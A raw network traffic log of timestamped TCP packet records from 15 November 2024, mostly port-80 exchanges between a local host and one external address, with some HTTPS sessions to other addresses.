Nov 15, 2024 16:16:31.730261087 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.730273008 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.730284929 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.730319023 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.730340958 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.730345964 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.730360985 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.730376959 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.730473042 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.730479956 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.730484962 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.730567932 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.730571032 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.730618000 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.730628967 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.730722904 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.730736017 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.730747938 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.730748892 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.730782986 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.730804920 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.730866909 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.730880022 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.730891943 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.730947971 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.730962038 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.730973959 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.731014967 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.731019974 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.731033087 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.731040001 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.731051922 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.731065035 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.731072903 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.731091022 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.731129885 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.731142998 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.731154919 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.731167078 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.731197119 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.731235027 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.731245995 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.731271029 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.731283903 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.731307030 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.731326103 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.731338024 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.731338024 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.731359005 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.731372118 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.731375933 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.731384993 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.731395960 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.731421947 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.731448889 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.731633902 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.731647015 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.731657982 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.731723070 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.731725931 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.731741905 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.731755018 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.731765985 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.731836081 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.731848001 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.731861115 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.731870890 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.731883049 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.731900930 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.731920958 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.731933117 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.731940985 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.731940985 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.731940985 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.731940985 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.731944084 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.731956959 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.731956959 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.731970072 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.731981039 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.731985092 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.732007980 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.732028961 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.732033968 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.732048988 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.732067108 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.732079983 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.732109070 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.732120991 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.732132912 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.732136011 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.732136011 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.732146025 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.732157946 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.732172012 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.732182980 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.732203960 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.732284069 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.732314110 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.732326984 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.732337952 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.732350111 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.732389927 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.732402086 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.732413054 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.732413054 CET	443	49864	23.38.189.114	192.168.2.5
Nov 15, 2024 16:16:31.732414961 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.732414961 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.732426882 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.732433081 CET	443	49864	23.38.189.114	192.168.2.5
Nov 15, 2024 16:16:31.732441902 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.732474089 CET	49864	443	192.168.2.5	23.38.189.114
Nov 15, 2024 16:16:31.732475996 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.732477903 CET	443	49864	23.38.189.114	192.168.2.5
Nov 15, 2024 16:16:31.732491016 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.732497931 CET	443	49864	23.38.189.114	192.168.2.5
Nov 15, 2024 16:16:31.732498884 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.732498884 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.732506037 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.732513905 CET	49864	443	192.168.2.5	23.38.189.114
Nov 15, 2024 16:16:31.732522011 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.732527018 CET	443	49864	23.38.189.114	192.168.2.5
Nov 15, 2024 16:16:31.732536077 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.732554913 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.732558012 CET	49864	443	192.168.2.5	23.38.189.114
Nov 15, 2024 16:16:31.732568979 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.732568979 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.732593060 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.732611895 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.732613087 CET	49864	443	192.168.2.5	23.38.189.114
Nov 15, 2024 16:16:31.732621908 CET	443	49864	23.38.189.114	192.168.2.5
Nov 15, 2024 16:16:31.732633114 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.732642889 CET	443	49864	23.38.189.114	192.168.2.5
Nov 15, 2024 16:16:31.732645988 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.732659101 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.732685089 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.732686996 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.732698917 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.732711077 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.732721090 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.732731104 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.732745886 CET	49864	443	192.168.2.5	23.38.189.114
Nov 15, 2024 16:16:31.732762098 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.732774973 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.732805967 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.732805967 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.732821941 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.732858896 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.732871056 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.732882023 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.732893944 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.732904911 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.732914925 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.732917070 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.732928991 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.732939959 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.732950926 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.732966900 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.732966900 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.733114958 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.733181953 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.733195066 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.733206987 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.733253956 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.733253956 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.733277082 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.733304024 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.733321905 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.733335018 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.733340979 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.733347893 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.733361006 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.733371019 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.733375072 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.733386993 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.733412981 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.733412981 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.733445883 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.733486891 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.733500957 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.733511925 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.733555079 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.733556986 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.733556986 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.733568907 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.733578920 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.733587980 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.733592033 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.733606100 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.733606100 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.733680010 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.733680010 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.739995003 CET	49877	443	192.168.2.5	20.189.173.8
Nov 15, 2024 16:16:31.740020037 CET	443	49877	20.189.173.8	192.168.2.5
Nov 15, 2024 16:16:31.740201950 CET	49877	443	192.168.2.5	20.189.173.8
Nov 15, 2024 16:16:31.741816998 CET	49877	443	192.168.2.5	20.189.173.8
Nov 15, 2024 16:16:31.741832972 CET	443	49877	20.189.173.8	192.168.2.5
Nov 15, 2024 16:16:31.755618095 CET	443	49869	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:31.767220020 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.767250061 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.767262936 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.767277956 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.767288923 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.767302990 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.767307997 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.767322063 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.767337084 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.767715931 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.767715931 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.781641006 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.781641960 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.794322968 CET	49869	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:31.794389009 CET	443	49869	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:31.794945955 CET	49869	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:31.794953108 CET	443	49869	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:31.798183918 CET	443	49861	23.38.189.114	192.168.2.5
Nov 15, 2024 16:16:31.798217058 CET	443	49861	23.38.189.114	192.168.2.5
Nov 15, 2024 16:16:31.798397064 CET	49861	443	192.168.2.5	23.38.189.114
Nov 15, 2024 16:16:31.798397064 CET	49861	443	192.168.2.5	23.38.189.114
Nov 15, 2024 16:16:31.798420906 CET	443	49861	23.38.189.114	192.168.2.5
Nov 15, 2024 16:16:31.798696041 CET	443	49861	23.38.189.114	192.168.2.5
Nov 15, 2024 16:16:31.798751116 CET	49861	443	192.168.2.5	23.38.189.114
Nov 15, 2024 16:16:31.798757076 CET	443	49861	23.38.189.114	192.168.2.5
Nov 15, 2024 16:16:31.798782110 CET	443	49861	23.38.189.114	192.168.2.5
Nov 15, 2024 16:16:31.798801899 CET	49861	443	192.168.2.5	23.38.189.114
Nov 15, 2024 16:16:31.798847914 CET	49861	443	192.168.2.5	23.38.189.114
Nov 15, 2024 16:16:31.811206102 CET	443	49863	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:31.811291933 CET	443	49863	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:31.811382055 CET	49863	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:31.811721087 CET	49863	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:31.811721087 CET	49863	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:31.811741114 CET	443	49863	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:31.811753035 CET	443	49863	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:31.814172983 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.814348936 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.814471006 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.814542055 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.814837933 CET	49861	443	192.168.2.5	23.38.189.114
Nov 15, 2024 16:16:31.814851999 CET	443	49861	23.38.189.114	192.168.2.5
Nov 15, 2024 16:16:31.821234941 CET	49878	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:31.821275949 CET	443	49878	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:31.821379900 CET	49878	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:31.821629047 CET	49878	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:31.821645021 CET	443	49878	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:31.829225063 CET	443	49867	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:31.831020117 CET	443	49867	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:31.831123114 CET	49867	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:31.831310034 CET	49867	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:31.831338882 CET	443	49867	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:31.831357002 CET	49867	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:31.831365108 CET	443	49867	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:31.833261013 CET	443	49866	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:31.833308935 CET	443	49866	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:31.833445072 CET	49866	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:31.833511114 CET	49866	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:31.833523989 CET	443	49866	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:31.833537102 CET	49866	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:31.833543062 CET	443	49866	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:31.834836960 CET	49879	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:31.834867954 CET	443	49879	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:31.834940910 CET	49879	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:31.835262060 CET	49879	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:31.835282087 CET	443	49879	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:31.836288929 CET	49880	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:31.836323023 CET	443	49880	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:31.836350918 CET	443	49862	23.38.189.114	192.168.2.5
Nov 15, 2024 16:16:31.836385012 CET	443	49862	23.38.189.114	192.168.2.5
Nov 15, 2024 16:16:31.836467028 CET	49880	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:31.836524963 CET	49862	443	192.168.2.5	23.38.189.114
Nov 15, 2024 16:16:31.836524963 CET	49862	443	192.168.2.5	23.38.189.114
Nov 15, 2024 16:16:31.836534023 CET	443	49862	23.38.189.114	192.168.2.5
Nov 15, 2024 16:16:31.836633921 CET	49862	443	192.168.2.5	23.38.189.114
Nov 15, 2024 16:16:31.836680889 CET	49880	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:31.836693048 CET	443	49880	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:31.837665081 CET	443	49862	23.38.189.114	192.168.2.5
Nov 15, 2024 16:16:31.837696075 CET	443	49862	23.38.189.114	192.168.2.5
Nov 15, 2024 16:16:31.837786913 CET	49862	443	192.168.2.5	23.38.189.114
Nov 15, 2024 16:16:31.837786913 CET	49862	443	192.168.2.5	23.38.189.114
Nov 15, 2024 16:16:31.837796926 CET	443	49862	23.38.189.114	192.168.2.5
Nov 15, 2024 16:16:31.838174105 CET	49862	443	192.168.2.5	23.38.189.114
Nov 15, 2024 16:16:31.838422060 CET	443	49862	23.38.189.114	192.168.2.5
Nov 15, 2024 16:16:31.838510990 CET	49862	443	192.168.2.5	23.38.189.114
Nov 15, 2024 16:16:31.839356899 CET	443	49862	23.38.189.114	192.168.2.5
Nov 15, 2024 16:16:31.839412928 CET	443	49862	23.38.189.114	192.168.2.5
Nov 15, 2024 16:16:31.839459896 CET	443	49862	23.38.189.114	192.168.2.5
Nov 15, 2024 16:16:31.839464903 CET	49862	443	192.168.2.5	23.38.189.114
Nov 15, 2024 16:16:31.839464903 CET	49862	443	192.168.2.5	23.38.189.114
Nov 15, 2024 16:16:31.839543104 CET	49862	443	192.168.2.5	23.38.189.114
Nov 15, 2024 16:16:31.839835882 CET	49862	443	192.168.2.5	23.38.189.114
Nov 15, 2024 16:16:31.839849949 CET	443	49862	23.38.189.114	192.168.2.5
Nov 15, 2024 16:16:31.840248108 CET	443	49865	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:31.840322971 CET	443	49865	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:31.840375900 CET	49865	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:31.840672016 CET	49865	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:31.840692997 CET	443	49865	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:31.844173908 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.844217062 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.844228029 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.844269037 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.844269037 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.844280958 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.844293118 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.844408989 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.844420910 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.844429970 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.844430923 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.844444036 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.844455004 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.844465971 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.844475985 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.844486952 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.844499111 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.844544888 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.844543934 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.844544888 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.844544888 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.844544888 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.844544888 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.844567060 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.844577074 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.844590902 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.844602108 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.844609022 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.844614029 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.844624996 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.844647884 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.844656944 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.844667912 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.844677925 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.844685078 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.844690084 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.844702005 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.844702005 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:31.844713926 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.844727039 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.844737053 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.844746113 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.844770908 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.844783068 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:31.844793081 CET	49759	80	192.168.2.5	185.215.113.206
